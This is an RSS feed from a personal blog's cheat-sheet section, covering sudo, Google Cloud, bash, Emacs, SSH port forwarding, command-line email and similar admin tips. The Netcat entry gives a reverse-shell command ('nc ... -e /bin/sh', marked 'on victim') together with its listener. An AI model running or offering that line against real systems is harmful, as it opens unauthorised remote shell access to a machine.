<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Cheats on Jblog</title><link>https://jblog.codevillains.com/cheat/</link><description>Recent content in Cheats on Jblog</description><generator>Hugo -- gohugo.io</generator><copyright>Copyright © 2022-2025 Jblog. All Rights Reserved.</copyright><lastBuildDate>Sun, 14 Dec 2025 00:00:00 +0100</lastBuildDate><atom:link href="https://jblog.codevillains.com/cheat/index.xml" rel="self" type="application/rss+xml"/><item><title>Nextcloud</title><link>https://jblog.codevillains.com/cheat/nextcloud/</link><pubDate>Sun, 14 Dec 2025 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/nextcloud/</guid><description></description></item><item><title>Spreadsheet</title><link>https://jblog.codevillains.com/cheat/spreadsheet/</link><pubDate>Wed, 19 Mar 2025 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/spreadsheet/</guid><description><![CDATA[Google sheet join strings in pivot tables slackoverflow
 Add Field -&gt; Calculated Field Summarise by : Custom Then:  =JOIN(&#34;, &#34;,MyStringColumn)-- or =JOIN(&#34;, &#34;,UNIQUE(column))]]></description></item><item><title>Latex</title><link>https://jblog.codevillains.com/cheat/latex/</link><pubDate>Sun, 23 Jan 2022 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/latex/</guid><description></description></item><item><title>Sudo</title><link>https://jblog.codevillains.com/cheat/sudo/</link><pubDate>Sat, 11 Dec 2021 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/sudo/</guid><description><![CDATA[<h2 id="remember-sudo-globally" data-numberify>Remember sudo globally<a class="anchor ms-1" href="#remember-sudo-globally"></a></h2>
<p><a href="https://unix.stackexchange.com/questions/536629/create-tmux-pane-with-sudo-from-sudoed-pane" target="_blank" rel="noopener noreferrer">source<i class="fas fa-external-link-square-alt ms-1"></i></a></p>
<p>Just add following line in <code>sudo visudo</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-plain" data-lang="plain"><span class="line"><span class="cl">Defaults timestamp_type=global
</span></span></code></pre></div>]]></description></item><item><title>Google Cloud</title><link>https://jblog.codevillains.com/cheat/gcp/</link><pubDate>Sun, 08 Aug 2021 00:00:00 +0200</pubDate><guid>https://jblog.codevillains.com/cheat/gcp/</guid><description>Create service account https://support.google.com/cloud/answer/6158849#serviceaccounts
Build image https://cloud.google.com/solutions/using-jenkins-for-distributed-builds-on-compute-engine
Load kubectl credentials gcloud container clusters get-credentials c-test-1 --zone europe-west2 --project &amp;lt;projectId&amp;gt;</description></item><item><title>Netcat</title><link>https://jblog.codevillains.com/cheat/nc/</link><pubDate>Thu, 06 May 2021 00:00:00 +0200</pubDate><guid>https://jblog.codevillains.com/cheat/nc/</guid><description><![CDATA[<h2 id="netcat-shells" data-numberify>Netcat shells<a class="anchor ms-1" href="#netcat-shells"></a></h2>
<p>Easiest way to make shell using netcat is to use <code>-e</code> option:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="c1"># server - on victim</span>
</span></span><span class="line"><span class="cl">nc 192.168.56.1 <span class="m">4444</span> -e /bin/sh
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Client</span>
</span></span><span class="line"><span class="cl">nc -nvlp <span class="m">4444</span>
</span></span></code></pre></div>]]></description></item><item><title>Shells</title><link>https://jblog.codevillains.com/cheat/shells/</link><pubDate>Sat, 10 Apr 2021 00:00:00 +0200</pubDate><guid>https://jblog.codevillains.com/cheat/shells/</guid><description><![CDATA[<h2 id="bash" data-numberify>Bash gnu<a class="anchor ms-1" href="#bash"></a></h2>
<h3 id="replacements" data-numberify>Replacements<a class="anchor ms-1" href="#replacements"></a></h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="nv">input</span><span class="o">=</span><span class="s2">&#34;I love Suzi and Marry&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">replacement</span><span class="o">=</span><span class="s2">&#34;Sara&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">input</span><span class="p">/Suzi/</span><span class="nv">$replacement</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># &#39;I love Sara and Marry&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># To replace all occurrences, use ${parameter//pattern/string}:</span>
</span></span></code></pre></div>]]></description></item><item><title>Emacs - Misc</title><link>https://jblog.codevillains.com/cheat/emacs-misc/</link><pubDate>Fri, 26 Feb 2021 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/emacs-misc/</guid><description><![CDATA[<h2 id="unhang-emacs" data-numberify>Unhang Emacs<a class="anchor ms-1" href="#unhang-emacs"></a></h2>
<p>In most cases it is enough to run <code>pkill -SIGUSR2 emacs</code> it enables
<code>debug-on-quit</code> which is annoying - we need to run <code>toggle-debug-on-quit</code> after.</p>]]></description></item><item><title>Magit</title><link>https://jblog.codevillains.com/cheat/magit/</link><pubDate>Fri, 26 Feb 2021 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/magit/</guid><description><![CDATA[<h2 id="git-log-specific-files" data-numberify>Git log specific files<a class="anchor ms-1" href="#git-log-specific-files"></a></h2>
<p>In ranger/deer/dired select files you&rsquo;re interested in and do <code>magit-dired-log</code>.
For quick select all do <code>t</code> in <code>dired-mode</code> (<code>C-p</code> from <code>deer</code>).</p>]]></description></item><item><title>Org-mode - Misc</title><link>https://jblog.codevillains.com/cheat/org-misc/</link><pubDate>Fri, 26 Feb 2021 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/org-misc/</guid><description></description></item><item><title>Org-mode - Tables</title><link>https://jblog.codevillains.com/cheat/org-tables/</link><pubDate>Fri, 26 Feb 2021 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/org-tables/</guid><description>&lt;p>This cheatsheet concerns org mode tables and fantastic things they can be used for.&lt;/p></description></item><item><title>Nix</title><link>https://jblog.codevillains.com/cheat/nix/</link><pubDate>Sat, 20 Feb 2021 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/nix/</guid><description><![CDATA[<p>Functional package manager. Supports easy rollbacks. Language for interacting with <code>nix</code>
package manager. NixOS - OS based on <code>nix</code>. Can facilitate deployments on remote
machines with <a href="https://github.com/NixOS/nixops" target="_blank" rel="noopener noreferrer">nixops<i class="fas fa-external-link-square-alt ms-1"></i></a>. Here are some scattered notes about the topic.</p>]]></description></item><item><title>Org-mode - Graphs</title><link>https://jblog.codevillains.com/cheat/org-mode-graphqs/</link><pubDate>Wed, 03 Feb 2021 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/org-mode-graphqs/</guid><description>&lt;p>How to make graphs and other charts in org-mode?
We&amp;rsquo;ll see some examples.&lt;/p></description></item><item><title>Xorg</title><link>https://jblog.codevillains.com/cheat/xorg/</link><pubDate>Thu, 07 Jan 2021 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/xorg/</guid><description>Get class of window xprop WM_CLASS</description></item><item><title>Awesome tools</title><link>https://jblog.codevillains.com/cheat/awesome/</link><pubDate>Mon, 21 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/awesome/</guid><description><![CDATA[<p>My own awesome/checkout list 😁</p>
<h2 id="file-sharing" data-numberify>File sharing<a class="anchor ms-1" href="#file-sharing"></a></h2>
<h3 id="firefox-send-alternatives" data-numberify>Firefox send alternatives<a class="anchor ms-1" href="#firefox-send-alternatives"></a></h3>
<ul>
<li><a href="https://send.tresorit.com/" target="_blank" rel="noopener noreferrer">https://send.tresorit.com/<i class="fas fa-external-link-square-alt ms-1"></i></a></li>
</ul>]]></description></item><item><title>Commandline Email</title><link>https://jblog.codevillains.com/cheat/commandline-email/</link><pubDate>Mon, 21 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/commandline-email/</guid><description><![CDATA[msmtp Send mail via commandline
 Configure it like arch wiki advises. Then just echo -e &quot;Subject: Hello\nI like you.&quot; | msmtp bob@example.com  Elaborate example:
printf &#34;To: ala@ela.com\nFrom: me@email.com\nSubject: Test \nThis is body.&#34; | msmtp ala@ela.com tempmail Bash client for 1secmail (temporary mail) Github.
# Generete new address tmpmail -g # Read last email (by default in w3m, you can specify --browser) tmpmail -r ]]></description></item><item><title>Docker / Podman</title><link>https://jblog.codevillains.com/cheat/docker-podman/</link><pubDate>Mon, 21 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/docker-podman/</guid><description><![CDATA[<p>Some <code>docker</code> / <code>podman</code> tricks that are easy to forget.</p>]]></description></item><item><title>Image</title><link>https://jblog.codevillains.com/cheat/image/</link><pubDate>Mon, 21 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/image/</guid><description>&lt;p>Bar-codes, imagemagick, EXIF data.&lt;/p></description></item><item><title>Git</title><link>https://jblog.codevillains.com/cheat/git/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/git/</guid><description>&lt;p>Notes about easy-to-forget git features 😉.&lt;/p></description></item><item><title>GNU Utils</title><link>https://jblog.codevillains.com/cheat/gnu-utils/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/gnu-utils/</guid><description><![CDATA[<p>Cheatsheet for miscellaneous GNU utils. <code>makefile</code>, <code>paralell</code>, <code>date</code>.
For <code>bash</code> look for <a href="/cheat/shells/">shells</a>, for <code>awk</code> <a href="/cheat/text-processing/">here</a>.</p>]]></description></item><item><title>Linux - Misc</title><link>https://jblog.codevillains.com/cheat/linux-misc/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/linux-misc/</guid><description>&lt;p>Some miscellaneous linux hints - crontab, ISO handlin, shared libaries debugging.&lt;/p></description></item><item><title>Linux Desktop</title><link>https://jblog.codevillains.com/cheat/linux-desktop/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/linux-desktop/</guid><description>&lt;p>Cheatshets concering desktop usage of linux.
X11, network manager etc.&lt;/p></description></item><item><title>Nginx</title><link>https://jblog.codevillains.com/cheat/nginx/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/nginx/</guid><description>&lt;p>Nginx and ssl setup.&lt;/p></description></item><item><title>Ssh</title><link>https://jblog.codevillains.com/cheat/ssh/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/ssh/</guid><description><![CDATA[<h2 id="port-forwarding" data-numberify>Port forwarding<a class="anchor ms-1" href="#port-forwarding"></a></h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="c1"># Remote to local</span>
</span></span><span class="line"><span class="cl">ssh -L local_port:remote_address:remote_port username@server.com
</span></span><span class="line"><span class="cl"><span class="c1"># Local to remote</span>
</span></span><span class="line"><span class="cl">ssh -R remote_port:local_address:local_port username@server.com
</span></span></code></pre></div>]]></description></item><item><title>Structured Text Processing</title><link>https://jblog.codevillains.com/cheat/structured-text-processing/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/structured-text-processing/</guid><description><![CDATA[<p><code>jq</code>, <code>xmlstarlet</code> and friends.</p>]]></description></item><item><title>Tmux</title><link>https://jblog.codevillains.com/cheat/tmux/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/tmux/</guid><description>&lt;p>Tmux - &lt;!-- raw HTML omitted -->the&lt;!-- raw HTML omitted --> terminal multiplexer.&lt;/p></description></item><item><title>Unstructured Text Processing</title><link>https://jblog.codevillains.com/cheat/text-processing/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/text-processing/</guid><description><![CDATA[<p>Tricks concerning <code>awk</code>, <code>sed</code>, <code>csplit</code> and other tool that work with unstructured text.</p>]]></description></item><item><title>Video</title><link>https://jblog.codevillains.com/cheat/video/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/video/</guid><description>&lt;p>Cheatsheet related to video /camera etc. Mainly on Linux.&lt;/p></description></item><item><title>Vim</title><link>https://jblog.codevillains.com/cheat/vim/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/vim/</guid><description>&lt;p>Some easy-to-forget vim tricks.&lt;/p></description></item></channel></rss>